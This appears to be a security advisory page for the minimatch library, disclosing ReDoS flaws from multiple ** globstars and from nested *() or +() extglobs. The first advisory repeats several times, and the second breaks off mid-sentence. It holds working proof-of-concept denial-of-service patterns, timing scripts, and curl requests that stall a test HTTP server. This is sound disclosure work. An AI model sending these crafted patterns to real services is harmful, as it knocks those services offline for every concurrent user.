๐จ minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments
Summary
matchOne()performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent**(GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- wherenis the number of path segments andkis the number of globstars. With k=11 and n=30, a call to the defaultminimatch()API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
Details
The vulnerable loop is in
matchOne()atsrc/index.ts#L960:while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ }When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each
**multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning
falseon a non-matching input.Measured timing with n=30 path segments:
k (globstars) Pattern size Time 7 36 bytes ~154ms 9 46 bytes ~1.2s 11 56 bytes ~5.4s 12 61 bytes ~9.7s 13 66 bytes ~15.9s
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- inline script
import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200msTo scale the effect, increase k:
// k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern)No special options are required. This reproduces with the default
minimatch()call.Step 2 -- HTTP server (event loop starvation proof)
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
// poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT)Terminal 1 -- start the server:
node poc1-server.mjsTerminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &Terminal 3 -- while the attack is in-flight, send a benign request:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"Observed output (Terminal 3):
{"result":true,"ms":"0"} time_total: 4.132709sThe server reports
"ms":"0"-- the legitimate request itself takes zero processing time. The 4+ secondtime_totalis entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:{"result":true,"ms":"0"} time_total: 0.001599s
Impact
Any application where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
๐จ minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments
Summary
matchOne()performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent**(GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- wherenis the number of path segments andkis the number of globstars. With k=11 and n=30, a call to the defaultminimatch()API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
Details
The vulnerable loop is in
matchOne()atsrc/index.ts#L960:while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ }When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each
**multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning
falseon a non-matching input.Measured timing with n=30 path segments:
k (globstars) Pattern size Time 7 36 bytes ~154ms 9 46 bytes ~1.2s 11 56 bytes ~5.4s 12 61 bytes ~9.7s 13 66 bytes ~15.9s
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- inline script
import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200msTo scale the effect, increase k:
// k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern)No special options are required. This reproduces with the default
minimatch()call.Step 2 -- HTTP server (event loop starvation proof)
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
// poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT)Terminal 1 -- start the server:
node poc1-server.mjsTerminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &Terminal 3 -- while the attack is in-flight, send a benign request:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"Observed output (Terminal 3):
{"result":true,"ms":"0"} time_total: 4.132709sThe server reports
"ms":"0"-- the legitimate request itself takes zero processing time. The 4+ secondtime_totalis entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:{"result":true,"ms":"0"} time_total: 0.001599s
Impact
Any application where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
๐จ minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments
Summary
matchOne()performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent**(GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- wherenis the number of path segments andkis the number of globstars. With k=11 and n=30, a call to the defaultminimatch()API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
Details
The vulnerable loop is in
matchOne()atsrc/index.ts#L960:while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ }When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each
**multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning
falseon a non-matching input.Measured timing with n=30 path segments:
k (globstars) Pattern size Time 7 36 bytes ~154ms 9 46 bytes ~1.2s 11 56 bytes ~5.4s 12 61 bytes ~9.7s 13 66 bytes ~15.9s
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- inline script
import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200msTo scale the effect, increase k:
// k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern)No special options are required. This reproduces with the default
minimatch()call.Step 2 -- HTTP server (event loop starvation proof)
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
// poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT)Terminal 1 -- start the server:
node poc1-server.mjsTerminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &Terminal 3 -- while the attack is in-flight, send a benign request:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"Observed output (Terminal 3):
{"result":true,"ms":"0"} time_total: 4.132709sThe server reports
"ms":"0"-- the legitimate request itself takes zero processing time. The 4+ secondtime_totalis entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:{"result":true,"ms":"0"} time_total: 0.001599s
Impact
Any application where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
๐จ minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments
Summary
matchOne()performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent**(GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- wherenis the number of path segments andkis the number of globstars. With k=11 and n=30, a call to the defaultminimatch()API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
Details
The vulnerable loop is in
matchOne()atsrc/index.ts#L960:while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ }When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each
**multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning
falseon a non-matching input.Measured timing with n=30 path segments:
k (globstars) Pattern size Time 7 36 bytes ~154ms 9 46 bytes ~1.2s 11 56 bytes ~5.4s 12 61 bytes ~9.7s 13 66 bytes ~15.9s
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- inline script
import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200msTo scale the effect, increase k:
// k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern)No special options are required. This reproduces with the default
minimatch()call.Step 2 -- HTTP server (event loop starvation proof)
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
// poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT)Terminal 1 -- start the server:
node poc1-server.mjsTerminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &Terminal 3 -- while the attack is in-flight, send a benign request:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"Observed output (Terminal 3):
{"result":true,"ms":"0"} time_total: 4.132709sThe server reports
"ms":"0"-- the legitimate request itself takes zero processing time. The 4+ secondtime_totalis entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:{"result":true,"ms":"0"} time_total: 0.001599s
Impact
Any application where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
๐จ minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments
Summary
matchOne()performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent**(GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- wherenis the number of path segments andkis the number of globstars. With k=11 and n=30, a call to the defaultminimatch()API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
Details
The vulnerable loop is in
matchOne()atsrc/index.ts#L960:while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ }When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each
**multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning
falseon a non-matching input.Measured timing with n=30 path segments:
k (globstars) Pattern size Time 7 36 bytes ~154ms 9 46 bytes ~1.2s 11 56 bytes ~5.4s 12 61 bytes ~9.7s 13 66 bytes ~15.9s
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- inline script
import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200msTo scale the effect, increase k:
// k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern)No special options are required. This reproduces with the default
minimatch()call.Step 2 -- HTTP server (event loop starvation proof)
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
// poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT)Terminal 1 -- start the server:
node poc1-server.mjsTerminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &Terminal 3 -- while the attack is in-flight, send a benign request:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"Observed output (Terminal 3):
{"result":true,"ms":"0"} time_total: 4.132709sThe server reports
"ms":"0"-- the legitimate request itself takes zero processing time. The 4+ secondtime_totalis entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:{"result":true,"ms":"0"} time_total: 0.001599s
Impact
Any application where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
๐จ minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments
Summary
matchOne()performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent**(GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- wherenis the number of path segments andkis the number of globstars. With k=11 and n=30, a call to the defaultminimatch()API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
Details
The vulnerable loop is in
matchOne()atsrc/index.ts#L960:while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ }When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each
**multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning
falseon a non-matching input.Measured timing with n=30 path segments:
k (globstars) Pattern size Time 7 36 bytes ~154ms 9 46 bytes ~1.2s 11 56 bytes ~5.4s 12 61 bytes ~9.7s 13 66 bytes ~15.9s
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- inline script
import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200msTo scale the effect, increase k:
// k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern)No special options are required. This reproduces with the default
minimatch()call.Step 2 -- HTTP server (event loop starvation proof)
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
// poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT)Terminal 1 -- start the server:
node poc1-server.mjsTerminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &Terminal 3 -- while the attack is in-flight, send a benign request:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"Observed output (Terminal 3):
{"result":true,"ms":"0"} time_total: 4.132709sThe server reports
"ms":"0"-- the legitimate request itself takes zero processing time. The 4+ secondtime_totalis entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:{"result":true,"ms":"0"} time_total: 0.001599s
Impact
Any application where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
๐จ minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions
Summary
Nested
*()extglobs produce regexps with nested unbounded quantifiers (e.g.(?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern*(*(*(a|b)))and an 18-byte non-matching input,minimatch()stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the defaultminimatch()API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects+()extglobs equally.
Details
The root cause is in
AST.toRegExpSource()atsrc/ast.ts#L598. For the*extglob type, the close token emitted is)*or)?, wrapping the recursive body in(?:...)*. When extglobs are nested, each level adds another*quantifier around the previous group:: this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}`This produces the following regexps:
Pattern Generated regex *(a|b)/^(?:a|b)*$/*(*(a|b))/^(?:(?:a|b)*)*$/*(*(*(a|b)))/^(?:(?:(?:a|b)*)*)*$/*(*(*(*(a|b))))/^(?:(?:(?:(?:a|b)*)*)*)*$/These are textbook nested-quantifier patterns. Against an input of repeated
acharacters followed by a non-matching characterz, V8's backtracking engine explores an exponential number of paths before returningfalse.The generated regex is stored on
this.setand evaluated insidematchOne()atsrc/index.ts#L1010viap.test(f). It is reached through the standardminimatch()call with no configuration.Measured times via
minimatch():
Pattern Input Time *(*(a|b))ax30 +z~68,000ms *(*(*(a|b)))ax20 +z~124,000ms *(*(*(*(a|b))))ax25 +z~116,000ms *(a|a)ax25 +z~2,000ms Depth inflection at fixed input
ax16 +z:
Depth Pattern Time 1 *(a|b)0ms 2 *(*(a|b))4ms 3 *(*(*(a|b)))270ms 4 *(*(*(*(a|b))))115,000ms Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as
poc4-validate.mjsand run withnode poc4-validate.mjs:import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)Observed output:
depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=falseStep 2 -- HTTP server (event loop starvation proof)
Save as
